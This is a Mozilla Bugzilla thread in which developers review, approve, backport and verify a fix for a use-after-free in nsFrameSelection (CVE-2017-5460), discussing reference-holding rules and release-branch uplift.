# I'll request review to smaug after he becomes available.
Comment on attachment 8853892 [details] [diff] [review]
Grab itself from nsFrameSelection::MoveCaret() and nsFrameSelection::PyshicalMove() before flushing pending notifications

I would have RefPtr<FrameSelection> selection = this;
selection->FlushPendingNotifications(FlushType::Layout);
That way there isn't need for 
mozilla::Unused << kungFuDeathGrip;

But question, should the caller of MoveCaret and PhysicalMove keep nsFrameSelection alive, not nsFrameSelection itself?
Similar to what happens in http://searchfox.org/mozilla-central/rev/990055a4902952e038cc350c9ffe1ac426d1c943/dom/html/nsTextEditorState.cpp#495
I guess all of http://searchfox.org/mozilla-central/rev/990055a4902952e038cc350c9ffe1ac426d1c943/layout/base/PresShell.cpp#2202 should keep mSelection alive to follow the normal rules where caller is supposed to keep callee alive.
(In reply to Olli Pettay [:smaug] (review queue closed. Please ask reviews from other DOM peers) from comment #13)
> Comment on attachment 8853892 [details] [diff] [review]
> Grab itself from nsFrameSelection::MoveCaret() and
> nsFrameSelection::PyshicalMove() before flushing pending notifications
> 
> I would have RefPtr<FrameSelection> selection = this;
> selection->FlushPendingNotifications(FlushType::Layout);

No, FlushPendingNotification() (mShell) is PresShell, not FrameSelection.

> But question, should the caller of MoveCaret and PhysicalMove keep
> nsFrameSelection alive, not nsFrameSelection itself?

PresShell have nsFrameSelection with RefPtr<nsFrameSelection> mSelection. And using its method directly. Therefore, during a call of each method, PresShell::mSelection may be cleared and nsFrameSelection instance may be gone.

Ideally, the callers should grab nsFrameSelection with RefPtr. But I worry about new callers. If new callers don't grab nsFrameSelection before calling them, same bug would be back.

> Similar to what happens in
> http://searchfox.org/mozilla-central/rev/
> 990055a4902952e038cc350c9ffe1ac426d1c943/dom/html/nsTextEditorState.cpp#495

Yes, it is.

However, ideally, any methods of nsFrameSelection should be called with grabbing its instance. But you worried the performance of RefPtr at very hot path.  Therefore, I'm thinking that it's the best to grab the instance only when the instance itself really needs to be grabbed (when it's in hot path).

If you'd add RefPtr<nsFrameSelection> for all callers of *all* nsFrameSelection methods, I'd rewrite the patch, though.
Flags: needinfo?(bugs)
(In reply to Masayuki Nakano [:masayuki] from comment #15)
> (In reply to Olli Pettay [:smaug] (review queue closed. Please ask reviews
> from other DOM peers) from comment #13)
> > Comment on attachment 8853892 [details] [diff] [review]
> > Grab itself from nsFrameSelection::MoveCaret() and
> > nsFrameSelection::PyshicalMove() before flushing pending notifications
> > 
> > I would have RefPtr<FrameSelection> selection = this;
> > selection->FlushPendingNotifications(FlushType::Layout);
> 
> No, FlushPendingNotification() (mShell) is PresShell, not FrameSelection.
Er, silly me

> 
> > But question, should the caller of MoveCaret and PhysicalMove keep
> > nsFrameSelection alive, not nsFrameSelection itself?
> 
> PresShell have nsFrameSelection with RefPtr<nsFrameSelection> mSelection.
> And using its method directly. Therefore, during a call of each method,
> PresShell::mSelection may be cleared and nsFrameSelection instance may be
> gone.
Yes, which is why one needs to take a local strong copy of the member variable

> 
> However, ideally, any methods of nsFrameSelection should be called with
> grabbing its instance. But you worried the performance of RefPtr at very hot
> path.  Therefore, I'm thinking that it's the best to grab the instance only
> when the instance itself really needs to be grabbed (when it's in hot path).
But the RefPtr is in the actual method impl. In which case is the RefPtr not used?

> 
> If you'd add RefPtr<nsFrameSelection> for all callers of *all*
> nsFrameSelection methods, I'd rewrite the patch, though.
That would be what one is supposed to do, caller should keep the callee alive, in general.
Flags: needinfo?(bugs)
Okay, then, I'll rewrite the patch tomorrow.
(In reply to Masayuki Nakano [:masayuki] from comment #18)
> Smaug, could you review this?
Flags: needinfo?(bugs)
Flags: needinfo?(bugs)
Attachment #8854325 - Flags: review+
Hmm, at least 3 patches are required even if we won't uplift this to ESR45.
# preparing the patches to uplift...
Posted patch Patch for ESR52 (obsolete) — Splinter Review
I'm not sure if this should be uplifted to ESR45 too. However, it needs to rewrite the patch by my hand...
Comment on attachment 8854325 [details] [diff] [review]
Ensure to grab nsFrameSelection before calling its methods unless calling only const methods

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
I think that it's not easy because this makes *all* users of nsFrameSelection safer. So, where having problem actually isn't clear.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
No, but it's obviously a heap-after-use problem.

Which older supported branches are affected by this flaw?
Perhaps, all of them.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
I prepared for Aurora, Beta and ESR52. I merged it for Aurora by my hand (only nsSelection.cpp) and I checked with my eyes the diff in nsSelection.cpp if they're same. Patch for ESR52 is based on patch for Aurora and Beta because ESR52 implements PressShell in nsPresShell.cpp, not PresShell.cpp. So, just the file name is different.

How likely is this patch to cause regressions; how much testing does it need?
Just grabbing the instance of each method. So, there must be no regression except performance (if there is).
Attachment #8854325 - Flags: sec-approval?
(In reply to Masayuki Nakano [:masayuki] from comment #23)
> I'm not sure if this should be uplifted to ESR45 too. However, it needs to
> rewrite the patch by my hand...

Yes, if we're checking in a fix for a sec-high bug in this cycle we need to also fix it on ESR-45
Okay, I'll try to write it.
Oops, I found a mistake in the patches. nsAutoScrollTimer::Notify() should grab nsFrameSelection during the call of HandleDrag() but the patches don't include it. Coming patches have it (the first chunk of nsSelection.cpp).
[Security approval request comment]
See previous request (comment 24).
Attachment #8855159 - Flags: sec-approval?
Attachment #8855159 - Flags: review+
Attachment #8854325 - Attachment is obsolete: true
Attachment #8854706 - Attachment is obsolete: true
Attachment #8854708 - Attachment is obsolete: true
Attachment #8854325 - Flags: sec-approval?
Attachment #8855160 - Flags: review+
I'd like to give sec-approval for this issue but given how late it is in the cycle, I need release management to weigh in on whether we can take this on Beta (53) and on ESR52 and ESR45 this cycle. We've run out of much room to take changes and it isn't a tiny patch. Dan might want to weigh in here too.

I don't want to take this on just cental and aurora given that the fix is semi-obvious. If we can't take it everywhere, I'd want to wait until two weeks into the next cycle.
Group: layout-core-security
Flags: needinfo?(rkothari)
Flags: needinfo?(lhenry)
Flags: needinfo?(jcristau)
Flags: needinfo?(dveditz)
The patches are completely straightforward and essentially a large collection of trivial changes; shouldn't add any stability risk. Even if a spot is missed (comment 27) that just means there's one spot that potentially still has the vulnerability, but no worse than today and every other path is still safer. The biggest risk is as noted in the approval request, possible memory leaks, but that won't be a stability issue. It also seems extremely unlikely to me because the refptrs all have short lifetimes (individual methos), they aren't class members. (NB: earlier today I went ahead and gave it sec-approval. the change between then and now is also trivial.)
Flags: needinfo?(dveditz)
(In reply to Daniel Veditz [:dveditz] from comment #33)
> (NB: earlier today I went ahead and gave it sec-approval. the change between then and now is also trivial.

I don't see any sec-approval+ anywhere and the patch is still sec-approval?. I'm fine with giving approval if release management agrees to take this everywhere though.
OK, if both Dan and Al want this to happen let's do it. We can still take this for the 53 RC build next week. OK-ing for ESR45 and 52 as well since Julien is on a plane.
Flags: needinfo?(rkothari)
Flags: needinfo?(lhenry)
Al please feel free to tweak all the approval flags so that someone will land this tonight and tomorrow.
Flags: needinfo?(abillings)
Flags: needinfo?(abillings)
Attachment #8855159 - Flags: sec-approval? → sec-approval+
Attachment #8855160 - Flags: approval-mozilla-beta+
Attachment #8855160 - Flags: approval-mozilla-aurora+
Attachment #8855161 - Flags: approval-mozilla-esr52+
Attachment #8855162 - Flags: approval-mozilla-esr45+
Ryan,
Does "checkin-needed" not apply to branches? Who can I get to check this into branches?
Flags: needinfo?(ryanvm)
I was planning to get it later today after it had a couple hours on inbound to get some green results first.
Flags: needinfo?(ryanvm)
Ah, ok. It wasn't clear if I was misunderstanding how the keyword was being used.
https://hg.mozilla.org/mozilla-central/rev/5d79e659b440
Status: ASSIGNED → RESOLVED
Last Resolved: 2 years ago
Flags: in-testsuite?
Resolution: --- → FIXED
Target Milestone: --- → mozilla55
Group: dom-core-security, layout-core-security → core-security-release
Flags: sec-bounty? → sec-bounty+
Flags: qe-verify+
Alias: CVE-2017-5460
Whiteboard: [adv-main53+][adv-esr45.9+][adv-esr52.1+]
I reproduced the crashes using the testcases from bug description and no_trustedKeyEvent.html (testcase which doesn't require trustedKeyEvent) with latest ASAN build of Firefox (50.0a2 - 2016.09.18).
I can confirm this issue is fixed, verified the following ASAN build: 53.0.1, 54.0b1, 55.0a1, 52esr on Ubuntu 16.04 x64. 
On 45esr build the following error occuer: DOMFuzz Helper could not be insalled, because is not compatible with Nightly 45.9.1.
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.